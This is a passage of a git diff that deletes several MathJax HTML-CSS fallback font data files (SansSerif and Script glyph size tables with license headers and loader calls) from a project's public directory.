-      [9,3,-17],[11,4,-19],[12,4,-23],[15,5,-27],[17,6,-33],[21,7,-38]
-    ],
-    0x30A: [  // COMBINING RING ABOVE
-      [3,1,-4],[3,2,-4],[4,2,-6],[3,2,-7],[4,2,-7],[5,3,-9],[6,3,-11],[6,5,-12],
-      [7,6,-14],[8,6,-17],[10,7,-20],[11,8,-24],[13,10,-29],[15,11,-34]
-    ],
-    0x30B: [  // COMBINING DOUBLE ACUTE ACCENT
-      [3,2,-3],[4,2,-4],[4,2,-6],[5,3,-6],[5,3,-6],[6,3,-9],[7,4,-10],[9,5,-12],
-      [10,5,-15],[12,6,-17],[13,7,-20],[16,8,-24],[19,10,-29],[22,11,-34]
-    ],
-    0x30C: [  // COMBINING CARON
-      [3,1,-3],[4,2,-4],[5,2,-5],[5,2,-6],[5,2,-6],[6,3,-9],[8,4,-10],[9,4,-12],
-      [10,5,-14],[12,6,-16],[14,7,-19],[17,8,-22],[20,10,-28],[23,11,-32]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/SansSerif/Regular"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/CombDiacritMarks.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Regular/unpacked/Main.js b/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Regular/unpacked/Main.js
deleted file mode 100644
index de5aa4a6..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Regular/unpacked/Main.js
+++ /dev/null
@@ -1,34 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Regular/Main.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_SansSerif": {
-
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/SansSerif/Regular"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/Main.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Regular/unpacked/Other.js b/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Regular/unpacked/Other.js
deleted file mode 100644
index f70c161a..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Regular/unpacked/Other.js
+++ /dev/null
@@ -1,157 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Regular/Other.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_SansSerif": {
-    0xA0: [  // NO-BREAK SPACE
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0x131: [  // LATIN SMALL LETTER DOTLESS I
-      [2,3,0],[2,4,0],[2,5,0],[2,6,0],[3,6,0],[3,8,0],[4,9,0],[4,11,0],
-      [5,13,0],[6,15,0],[7,17,0],[8,20,0],[10,26,0],[11,30,0]
-    ],
-    0x237: [  // LATIN SMALL LETTER DOTLESS J
-      [3,4,1],[3,6,2],[3,7,2],[4,9,3],[4,9,3],[5,11,3],[6,13,4],[7,16,5],
-      [8,18,5],[9,21,6],[11,25,8],[12,30,10],[15,38,12],[17,43,14]
-    ],
-    0x300: [  // COMBINING GRAVE ACCENT
-      [2,1,-4],[3,2,-4],[4,2,-6],[3,2,-7],[4,2,-7],[4,3,-9],[6,4,-10],[6,4,-13],
-      [7,5,-15],[8,6,-17],[10,7,-20],[11,8,-24],[13,10,-29],[15,11,-34]
-    ],
-    0x301: [  // COMBINING ACUTE ACCENT
-      [3,1,-4],[3,2,-4],[3,2,-6],[4,2,-7],[4,2,-7],[5,3,-9],[5,4,-10],[7,4,-13],
-      [7,5,-15],[8,6,-17],[9,7,-20],[12,8,-24],[13,10,-29],[15,11,-34]
-    ],
-    0x302: [  // COMBINING CIRCUMFLEX ACCENT
-      [3,1,-4],[4,2,-4],[5,2,-6],[5,2,-7],[5,2,-7],[6,3,-9],[8,4,-10],[9,4,-13],
-      [10,5,-15],[12,6,-17],[14,7,-20],[17,8,-24],[20,10,-29],[23,11,-34]
-    ],
-    0x303: [  // COMBINING TILDE
-      [3,1,-4],[4,1,-5],[5,2,-6],[5,3,-6],[5,2,-7],[6,3,-9],[8,3,-11],[9,3,-14],
-      [10,4,-16],[12,5,-18],[14,6,-21],[17,6,-25],[20,8,-31],[23,9,-35]
-    ],
-    0x304: [  // COMBINING MACRON
-      [3,1,-3],[4,1,-5],[5,1,-6],[6,2,-6],[6,2,-6],[7,3,-9],[8,2,-11],[9,2,-13],
-      [11,3,-16],[13,3,-18],[15,4,-22],[18,4,-25],[21,5,-31],[25,6,-36]
-    ],
-    0x306: [  // COMBINING BREVE
-      [3,1,-4],[4,2,-4],[5,2,-6],[6,3,-6],[5,3,-6],[7,4,-8],[8,4,-10],[9,4,-13],
-      [10,6,-14],[13,6,-17],[15,8,-19],[17,9,-23],[20,11,-28],[25,12,-33]
-    ],
-    0x307: [  // COMBINING DOT ABOVE
-      [2,1,-4],[2,1,-5],[2,2,-6],[2,2,-7],[3,2,-7],[3,2,-10],[3,3,-11],[4,3,-14],
-      [4,3,-17],[4,4,-19],[5,5,-23],[6,5,-26],[7,6,-33],[7,7,-38]
-    ],
-    0x308: [  // COMBINING DIAERESIS
-      [3,1,-4],[4,1,-5],[3,2,-6],[4,2,-7],[5,2,-7],[6,2,-10],[6,2,-12],[8,3,-14],
-      [9,3,-17],[11,4,-19],[12,4,-23],[15,5,-27],[17,6,-33],[21,7,-38]
-    ],
-    0x30A: [  // COMBINING RING ABOVE
-      [3,1,-4],[3,2,-4],[4,2,-6],[3,2,-7],[4,2,-7],[5,3,-9],[6,3,-11],[6,5,-12],
-      [7,6,-14],[8,6,-17],[10,7,-20],[11,8,-24],[13,10,-29],[15,11,-34]
-    ],
-    0x30B: [  // COMBINING DOUBLE ACUTE ACCENT
-      [3,2,-3],[4,2,-4],[4,2,-6],[5,3,-6],[5,3,-6],[6,3,-9],[7,4,-10],[9,5,-12],
-      [10,5,-15],[12,6,-17],[13,7,-20],[16,8,-24],[19,10,-29],[22,11,-34]
-    ],
-    0x30C: [  // COMBINING CARON
-      [3,1,-3],[4,2,-4],[5,2,-5],[5,2,-6],[5,2,-6],[6,3,-9],[8,4,-10],[9,4,-12],
-      [10,5,-14],[12,6,-16],[14,7,-19],[17,8,-22],[20,10,-28],[23,11,-32]
-    ],
-    0x393: [  // GREEK CAPITAL LETTER GAMMA
-      [4,5,0],[5,6,0],[5,8,0],[6,9,0],[7,9,0],[9,12,0],[10,14,0],[12,17,0],
-      [14,20,0],[17,23,0],[20,27,0],[24,32,0],[28,39,0],[33,45,0]
-    ],
-    0x394: [  // GREEK CAPITAL LETTER DELTA
-      [6,5,0],[7,6,0],[8,8,0],[10,9,0],[11,9,0],[14,12,0],[16,14,0],[19,17,0],
-      [22,20,0],[26,23,0],[31,27,0],[37,32,0],[44,39,0],[52,45,0]
-    ],
-    0x398: [  // GREEK CAPITAL LETTER THETA
-      [5,5,0],[6,6,0],[8,8,0],[9,9,0],[10,9,0],[12,12,0],[15,14,0],[17,19,1],
-      [20,22,1],[24,25,1],[29,27,0],[34,34,1],[40,42,1],[48,49,1]
-    ],
-    0x39B: [  // GREEK CAPITAL LETTER LAMDA
-      [5,5,0],[5,6,0],[6,8,0],[7,9,0],[9,9,0],[10,12,0],[12,14,0],[14,17,0],
-      [17,20,0],[20,23,0],[23,27,0],[28,32,0],[33,39,0],[39,45,0]
-    ],
-    0x39E: [  // GREEK CAPITAL LETTER XI
-      [5,5,0],[6,6,0],[7,8,0],[8,9,0],[9,9,0],[11,12,0],[13,14,0],[15,17,0],
-      [18,20,0],[21,23,0],[25,27,0],[29,32,0],[35,39,0],[42,45,0]
-    ],
-    0x3A0: [  // GREEK CAPITAL LETTER PI
-      [5,5,0],[6,6,0],[7,8,0],[8,9,0],[9,9,0],[11,12,0],[13,14,0],[15,17,0],
-      [18,20,0],[21,23,0],[25,27,0],[29,32,0],[35,39,0],[41,45,0]
-    ],
-    0x3A3: [  // GREEK CAPITAL LETTER SIGMA
-      [5,5,0],[6,6,0],[7,8,0],[8,9,0],[10,9,0],[12,12,0],[13,14,0],[16,17,0],
-      [19,20,0],[22,23,0],[27,27,0],[31,32,0],[37,39,0],[44,45,0]
-    ],
-    0x3A5: [  // GREEK CAPITAL LETTER UPSILON
-      [5,5,0],[6,6,0],[8,8,0],[9,9,0],[10,9,0],[12,12,0],[15,14,0],[17,18,0],
-      [20,21,0],[24,24,0],[29,27,0],[34,33,0],[40,41,0],[48,47,0]
-    ],
-    0x3A6: [  // GREEK CAPITAL LETTER PHI
-      [5,5,0],[6,6,0],[7,8,0],[8,9,0],[10,9,0],[12,12,0],[13,14,0],[16,17,0],
-      [19,20,0],[22,23,0],[27,27,0],[31,32,0],[37,39,0],[44,45,0]
-    ],
-    0x3A8: [  // GREEK CAPITAL LETTER PSI
-      [5,5,0],[6,6,0],[8,8,0],[9,9,0],[10,9,0],[12,12,0],[15,14,0],[17,17,0],
-      [20,20,0],[24,23,0],[29,27,0],[34,32,0],[40,39,0],[48,45,0]
-    ],
-    0x3A9: [  // GREEK CAPITAL LETTER OMEGA
-      [5,5,0],[6,6,0],[7,8,0],[8,9,0],[10,9,0],[12,12,0],[14,14,0],[16,18,0],
-      [19,21,0],[23,24,0],[27,27,0],[32,33,0],[38,41,0],[45,47,0]
-    ],
-    0x2013: [  // EN DASH
-      [4,1,-1],[5,1,-2],[5,1,-2],[6,1,-3],[7,1,-3],[9,3,-3],[10,2,-5],[12,2,-6],
-      [14,3,-7],[17,3,-8],[20,3,-9],[24,4,-11],[28,5,-13],[33,5,-15]
-    ],
-    0x2014: [  // EM DASH
-      [7,1,-1],[9,1,-2],[10,1,-2],[12,1,-3],[14,1,-3],[17,3,-3],[20,2,-5],[24,2,-6],
-      [28,3,-7],[33,3,-8],[40,3,-9],[47,4,-11],[56,5,-13],[66,5,-15]
-    ],
-    0x2018: [  // LEFT SINGLE QUOTATION MARK
-      [2,2,-3],[2,2,-4],[2,3,-5],[3,4,-5],[3,4,-5],[4,4,-8],[4,4,-10],[5,6,-11],
-      [6,6,-14],[7,8,-15],[8,9,-18],[9,10,-22],[11,13,-26],[13,15,-30]
-    ],
-    0x2019: [  // RIGHT SINGLE QUOTATION MARK
-      [2,2,-3],[2,2,-4],[2,3,-5],[3,3,-6],[3,3,-6],[4,4,-8],[4,5,-9],[5,6,-11],
-      [6,7,-13],[7,8,-15],[8,9,-18],[9,10,-22],[11,13,-26],[13,15,-30]
-    ],
-    0x201C: [  // LEFT DOUBLE QUOTATION MARK
-      [4,2,-3],[4,2,-4],[5,3,-5],[6,4,-5],[7,4,-5],[8,4,-8],[10,4,-10],[11,6,-11],
-      [13,6,-14],[16,8,-15],[19,9,-18],[22,10,-22],[26,13,-26],[31,15,-30]
-    ],
-    0x201D: [  // RIGHT DOUBLE QUOTATION MARK
-      [3,2,-3],[3,2,-4],[4,3,-5],[4,3,-6],[5,3,-6],[6,4,-8],[7,5,-9],[8,6,-11],
-      [9,7,-13],[11,8,-15],[13,9,-18],[16,10,-22],[18,13,-26],[22,15,-30]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/SansSerif/Regular"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/Other.js");
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diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Script/Regular/BasicLatin.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Script/Regular/BasicLatin.js
deleted file mode 100644
index dbb3e040..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Script/Regular/BasicLatin.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Script/Regular/BasicLatin.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({MathJax_Script:{32:[[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]],65:[[7,5,0],[9,6,0],[10,7,0],[12,9,0],[14,10,0],[17,12,0],[20,14,0],[24,17,0],[28,20,0],[34,25,1],[40,29,1],[48,34,1],[56,41,1],[67,48,1]],66:[[7,5,0],[8,6,0],[10,7,0],[11,8,0],[13,10,0],[16,12,0],[19,14,0],[22,17,0],[26,20,0],[31,24,1],[37,30,1],[44,35,1],[52,40,2],[62,48,2]],67:[[6,5,0],[7,6,0],[9,7,0],[10,9,0],[12,10,0],[14,12,0],[16,14,0],[20,17,0],[23,20,0],[27,25,1],[33,29,1],[39,34,1],[46,41,1],[54,50,3]],68:[[6,5,0],[8,6,0],[9,7,0],[11,8,0],[12,10,0],[15,12,0],[17,14,0],[20,17,0],[24,20,0],[29,25,1],[34,30,2],[40,35,2],[48,42,2],[57,49,2]],69:[[5,5,0],[6,6,0],[8,7,0],[9,8,0],[10,10,0],[12,12,0],[14,14,0],[17,17,0],[20,20,0],[24,24,1],[29,28,1],[34,33,1],[40,40,0],[48,47,1]],70:[[7,5,0],[9,6,0],[10,7,0],[12,8,0],[14,10,0],[17,12,0],[20,14,0],[24,17,0],[28,21,1],[33,26,2],[39,31,2],[47,36,2],[55,43,2],[66,51,2]],71:[[6,5,0],[7,6,0],[8,7,0],[9,9,0],[11,10,0],[13,12,0],[15,14,0],[18,17,0],[21,22,2],[25,25,1],[29,30,2],[35,35,2],[41,42,2],[49,50,3]],72:[[9,5,0],[11,6,0],[13,7,0],[15,8,0],[18,10,0],[21,12,0],[25,14,0],[29,17,0],[35,20,0],[41,25,1],[49,30,2],[58,35,2],[69,42,2],[82,50,3]],73:[[7,5,0],[8,6,0],[10,7,0],[12,8,0],[14,10,0],[16,12,0],[19,14,0],[22,17,0],[27,20,0],[32,25,1],[38,29,1],[44,34,1],[53,41,1],[63,48,1]],74:[[8,7,2],[10,9,3],[12,10,3],[14,12,4],[16,14,4],[19,17,5],[22,20,6],[27,24,7],[32,28,8],[38,36,12],[45,41,13],[53,48,15],[63,57,17],[75,68,21]],75:[[9,5,0],[10,6,0],[12,7,0],[15,8,0],[17,10,0],[20,12,0],[24,14,0],[28,17,0],[34,21,1],[40,26,2],[48,30,2],[56,35,2],[67,43,3],[80,50,3]],76:[[8,5,0],[9,6,0],[11,7,0],[13,8,0],[15,10,0],[18,12,0],[21,14,0],[25,17,0],[29,20,0],[35,25,1],[41,29,1],[49,34,1],[58,41,1],[69,48,1]],77:[[9,5,0],[11,6,0],[12,7,0],[15,8,0],[17,10,0],[21,12,0],[24,15,1],[29,18,1],[34,21,1],[40,27,3],[48,31,3],[57,36,3],[68,43,3],[80,51,4]],78:[[9,5,0],[11,6,0],[12,7,0],[15,8,0],[17,10,0],[21,12,0],[24,14,0],[29,17,0],[34,22,2],[40,27,3],[48,31,3],[57,36,2],[67,42,2],[80,51,2]],79:[[6,5,0],[7,6,0],[8,7,0],[10,8,0],[12,10,0],[14,12,0],[16,14,0],[19,17,0],[23,20,0],[27,25,1],[32,29,1],[38,33,0],[45,40,0],[53,47,0]],80:[[8,5,0],[9,6,0],[11,7,0],[13,8,0],[15,10,0],[18,12,0],[21,14,0],[24,17,0],[29,22,2],[34,25,1],[41,30,2],[48,35,2],[57,42,2],[68,50,3]],81:[[7,5,0],[8,6,0],[9,7,0],[11,8,0],[13,10,0],[15,12,0],[18,14,0],[21,17,0],[25,20,0],[30,25,1],[35,29,1],[42,34,1],[49,41,1],[59,48,1]],82:[[8,5,0],[9,6,0],[10,7,0],[12,8,0],[14,10,0],[16,12,0],[19,14,0],[22,17,0],[26,20,0],[31,25,1],[36,29,1],[43,34,1],[50,41,1],[60,48,1]],83:[[8,5,0],[9,6,0],[10,7,0],[12,9,0],[15,10,0],[17,12,0],[20,14,0],[24,17,0],[29,21,1],[34,25,1],[40,30,2],[48,35,2],[57,42,2],[67,49,2]],84:[[7,5,0],[9,6,0],[10,7,0],[12,8,0],[14,10,0],[17,12,0],[20,14,0],[24,17,0],[28,22,2],[33,27,2],[39,31,2],[47,36,2],[55,43,2],[66,51,2]],85:[[7,5,0],[8,6,0],[10,7,0],[12,8,0],[14,10,0],[16,12,0],[19,14,0],[23,17,0],[27,20,0],[32,25,1],[38,29,1],[45,34,1],[53,41,1],[64,48,1]],86:[[6,5,0],[8,6,0],[9,7,0],[10,8,0],[12,10,0],[15,12,0],[17,14,0],[20,17,0],[24,20,0],[28,25,1],[34,29,1],[40,34,1],[47,41,1],[56,48,1]],87:[[8,6,1],[9,7,1],[11,8,1],[13,9,1],[15,11,1],[18,13,1],[20,15,1],[24,18,1],[29,21,1],[34,26,2],[41,30,2],[48,35,2],[57,42,2],[68,49,2]],88:[[8,5,0],[10,6,0],[12,7,0],[14,8,0],[16,10,0],[19,12,0],[23,14,0],[27,17,0],[32,20,0],[38,25,1],[45,29,1],[53,34,1],[63,41,1],[75,48,1]],89:[[7,5,0],[8,6,0],[10,7,0],[12,8,0],[14,10,0],[16,12,0],[19,14,0],[23,17,0],[27,20,0],[32,25,1],[38,29,1],[45,34,1],[54,41,1],[64,48,1]],90:[[8,5,0],[9,6,0],[11,7,0],[13,8,0],[15,10,0],[18,12,0],[21,14,0],[24,17,0],[29,20,0],[34,25,1],[41,29,1],[48,34,1],[57,41,1],[68,48,1]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Script/Regular"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/BasicLatin.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Script/Regular/Main.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Script/Regular/Main.js
deleted file mode 100644
index 5e68d14b..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Script/Regular/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Script/Regular/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({MathJax_Script:{}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Script/Regular"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/Main.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Script/Regular/Other.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Script/Regular/Other.js
deleted file mode 100644
index 77330279..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Script/Regular/Other.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Script/Regular/Other.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({MathJax_Script:{160:[[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Script/Regular"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/Other.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Script/Regular/unpacked/BasicLatin.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Script/Regular/unpacked/BasicLatin.js
deleted file mode 100644
index 64d22486..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Script/Regular/unpacked/BasicLatin.js
+++ /dev/null
@@ -1,141 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Script/Regular/BasicLatin.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Script": {
-    0x20: [  // SPACE
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0x41: [  // LATIN CAPITAL LETTER A
-      [7,5,0],[9,6,0],[10,7,0],[12,9,0],[14,10,0],[17,12,0],[20,14,0],[24,17,0],
-      [28,20,0],[34,25,1],[40,29,1],[48,34,1],[56,41,1],[67,48,1]
-    ],
-    0x42: [  // LATIN CAPITAL LETTER B
-      [7,5,0],[8,6,0],[10,7,0],[11,8,0],[13,10,0],[16,12,0],[19,14,0],[22,17,0],
-      [26,20,0],[31,24,1],[37,30,1],[44,35,1],[52,40,2],[62,48,2]
-    ],
-    0x43: [  // LATIN CAPITAL LETTER C
-      [6,5,0],[7,6,0],[9,7,0],[10,9,0],[12,10,0],[14,12,0],[16,14,0],[20,17,0],
-      [23,20,0],[27,25,1],[33,29,1],[39,34,1],[46,41,1],[54,50,3]
-    ],
-    0x44: [  // LATIN CAPITAL LETTER D
-      [6,5,0],[8,6,0],[9,7,0],[11,8,0],[12,10,0],[15,12,0],[17,14,0],[20,17,0],
-      [24,20,0],[29,25,1],[34,30,2],[40,35,2],[48,42,2],[57,49,2]
-    ],
-    0x45: [  // LATIN CAPITAL LETTER E
-      [5,5,0],[6,6,0],[8,7,0],[9,8,0],[10,10,0],[12,12,0],[14,14,0],[17,17,0],
-      [20,20,0],[24,24,1],[29,28,1],[34,33,1],[40,40,0],[48,47,1]
-    ],
-    0x46: [  // LATIN CAPITAL LETTER F
-      [7,5,0],[9,6,0],[10,7,0],[12,8,0],[14,10,0],[17,12,0],[20,14,0],[24,17,0],
-      [28,21,1],[33,26,2],[39,31,2],[47,36,2],[55,43,2],[66,51,2]
-    ],
-    0x47: [  // LATIN CAPITAL LETTER G
-      [6,5,0],[7,6,0],[8,7,0],[9,9,0],[11,10,0],[13,12,0],[15,14,0],[18,17,0],
-      [21,22,2],[25,25,1],[29,30,2],[35,35,2],[41,42,2],[49,50,3]
-    ],
-    0x48: [  // LATIN CAPITAL LETTER H
-      [9,5,0],[11,6,0],[13,7,0],[15,8,0],[18,10,0],[21,12,0],[25,14,0],[29,17,0],
-      [35,20,0],[41,25,1],[49,30,2],[58,35,2],[69,42,2],[82,50,3]
-    ],
-    0x49: [  // LATIN CAPITAL LETTER I
-      [7,5,0],[8,6,0],[10,7,0],[12,8,0],[14,10,0],[16,12,0],[19,14,0],[22,17,0],
-      [27,20,0],[32,25,1],[38,29,1],[44,34,1],[53,41,1],[63,48,1]
-    ],
-    0x4A: [  // LATIN CAPITAL LETTER J
-      [8,7,2],[10,9,3],[12,10,3],[14,12,4],[16,14,4],[19,17,5],[22,20,6],[27,24,7],
-      [32,28,8],[38,36,12],[45,41,13],[53,48,15],[63,57,17],[75,68,21]
-    ],
-    0x4B: [  // LATIN CAPITAL LETTER K
-      [9,5,0],[10,6,0],[12,7,0],[15,8,0],[17,10,0],[20,12,0],[24,14,0],[28,17,0],
-      [34,21,1],[40,26,2],[48,30,2],[56,35,2],[67,43,3],[80,50,3]
-    ],
-    0x4C: [  // LATIN CAPITAL LETTER L
-      [8,5,0],[9,6,0],[11,7,0],[13,8,0],[15,10,0],[18,12,0],[21,14,0],[25,17,0],
-      [29,20,0],[35,25,1],[41,29,1],[49,34,1],[58,41,1],[69,48,1]
-    ],
-    0x4D: [  // LATIN CAPITAL LETTER M
-      [9,5,0],[11,6,0],[12,7,0],[15,8,0],[17,10,0],[21,12,0],[24,15,1],[29,18,1],
-      [34,21,1],[40,27,3],[48,31,3],[57,36,3],[68,43,3],[80,51,4]
-    ],
-    0x4E: [  // LATIN CAPITAL LETTER N
-      [9,5,0],[11,6,0],[12,7,0],[15,8,0],[17,10,0],[21,12,0],[24,14,0],[29,17,0],
-      [34,22,2],[40,27,3],[48,31,3],[57,36,2],[67,42,2],[80,51,2]
-    ],
-    0x4F: [  // LATIN CAPITAL LETTER O
-      [6,5,0],[7,6,0],[8,7,0],[10,8,0],[12,10,0],[14,12,0],[16,14,0],[19,17,0],
-      [23,20,0],[27,25,1],[32,29,1],[38,33,0],[45,40,0],[53,47,0]
-    ],
-    0x50: [  // LATIN CAPITAL LETTER P
-      [8,5,0],[9,6,0],[11,7,0],[13,8,0],[15,10,0],[18,12,0],[21,14,0],[24,17,0],
-      [29,22,2],[34,25,1],[41,30,2],[48,35,2],[57,42,2],[68,50,3]
-    ],
-    0x51: [  // LATIN CAPITAL LETTER Q
-      [7,5,0],[8,6,0],[9,7,0],[11,8,0],[13,10,0],[15,12,0],[18,14,0],[21,17,0],
-      [25,20,0],[30,25,1],[35,29,1],[42,34,1],[49,41,1],[59,48,1]
-    ],
-    0x52: [  // LATIN CAPITAL LETTER R
-      [8,5,0],[9,6,0],[10,7,0],[12,8,0],[14,10,0],[16,12,0],[19,14,0],[22,17,0],
-      [26,20,0],[31,25,1],[36,29,1],[43,34,1],[50,41,1],[60,48,1]
-    ],
-    0x53: [  // LATIN CAPITAL LETTER S
-      [8,5,0],[9,6,0],[10,7,0],[12,9,0],[15,10,0],[17,12,0],[20,14,0],[24,17,0],
-      [29,21,1],[34,25,1],[40,30,2],[48,35,2],[57,42,2],[67,49,2]
-    ],
-    0x54: [  // LATIN CAPITAL LETTER T
-      [7,5,0],[9,6,0],[10,7,0],[12,8,0],[14,10,0],[17,12,0],[20,14,0],[24,17,0],
-      [28,22,2],[33,27,2],[39,31,2],[47,36,2],[55,43,2],[66,51,2]
-    ],
-    0x55: [  // LATIN CAPITAL LETTER U
-      [7,5,0],[8,6,0],[10,7,0],[12,8,0],[14,10,0],[16,12,0],[19,14,0],[23,17,0],
-      [27,20,0],[32,25,1],[38,29,1],[45,34,1],[53,41,1],[64,48,1]
-    ],
-    0x56: [  // LATIN CAPITAL LETTER V
-      [6,5,0],[8,6,0],[9,7,0],[10,8,0],[12,10,0],[15,12,0],[17,14,0],[20,17,0],
-      [24,20,0],[28,25,1],[34,29,1],[40,34,1],[47,41,1],[56,48,1]
-    ],
-    0x57: [  // LATIN CAPITAL LETTER W
-      [8,6,1],[9,7,1],[11,8,1],[13,9,1],[15,11,1],[18,13,1],[20,15,1],[24,18,1],
-      [29,21,1],[34,26,2],[41,30,2],[48,35,2],[57,42,2],[68,49,2]
-    ],
-    0x58: [  // LATIN CAPITAL LETTER X
-      [8,5,0],[10,6,0],[12,7,0],[14,8,0],[16,10,0],[19,12,0],[23,14,0],[27,17,0],
-      [32,20,0],[38,25,1],[45,29,1],[53,34,1],[63,41,1],[75,48,1]
-    ],
-    0x59: [  // LATIN CAPITAL LETTER Y
-      [7,5,0],[8,6,0],[10,7,0],[12,8,0],[14,10,0],[16,12,0],[19,14,0],[23,17,0],
-      [27,20,0],[32,25,1],[38,29,1],[45,34,1],[54,41,1],[64,48,1]
-    ],
-    0x5A: [  // LATIN CAPITAL LETTER Z
